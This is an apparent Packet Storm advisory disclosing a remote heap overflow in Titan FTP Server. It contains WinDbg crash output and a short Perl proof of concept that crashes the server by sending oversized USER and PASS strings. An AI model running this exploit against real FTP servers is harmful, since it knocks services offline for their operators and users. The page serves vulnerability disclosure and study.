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titan-heap.txt

🗓️ 03 Feb 2008 00:00:00Reported by securfrogType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Titan FTP server remote heap overflow with critical impact. Windbg output shows access violation with code c0000005. Sever crash after reconnecting

Code
`#Titan FTP SERVER REMOTE HEAP OVERFLOW(USER/PASS)  
#Impact : Critical  
#  
# Windbg Output:  
#(bec.528): Access violation - code c0000005 (first chance)  
#First chance exceptions are reported before any exception handling.  
#This exception may be expected and handled.  
#eax=41414141 ebx=00000000 ecx=07e415f4 edx=00000000 esi=41414141 edi=07e415f4  
#eip=004bbafa esp=06e4fb38 ebp=06e4fb5c iopl=0 nv up ei pl nz na po nc  
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
#srxTitan+0xbbafa:  
#004bbafa 8930 mov [eax],esi ds:0023:41414141=????????  
#  
# When reconnecting :  
#  
#(bec.c60): Access violation - code c0000005 (first chance)  
#First chance exceptions are reported before any exception handling.  
#This exception may be expected and handled.  
#eax=004bb991 ebx=00000000 ecx=41414141 edx=0129e4e8 esi=0129e4d4 edi=41414141  
#eip=004bb977 esp=0714fe7c ebp=0714fe9c iopl=0 nv up ei pl zr na po nc  
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
#srxTitan+0xbb977:  
#004bb977 8b01 mov eax,[ecx] ds:0023:41414141=????????  
#   
# Server crash after reconnecting.   
#   
#Here's the Poc  
use Net::FTP;  
(($target = $ARGV[0])) || die "usage:$0 <target> <port>";  
my $user = "A" x 4096;  
my $pass = "A" x 22000;  
print "Trying to connect to :$target...\n";   
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect";  
print "Connected!\n";  
$ftp->login($user, $pass);   
print "Poc Successfull\n";  
$ftp->quit;   
`

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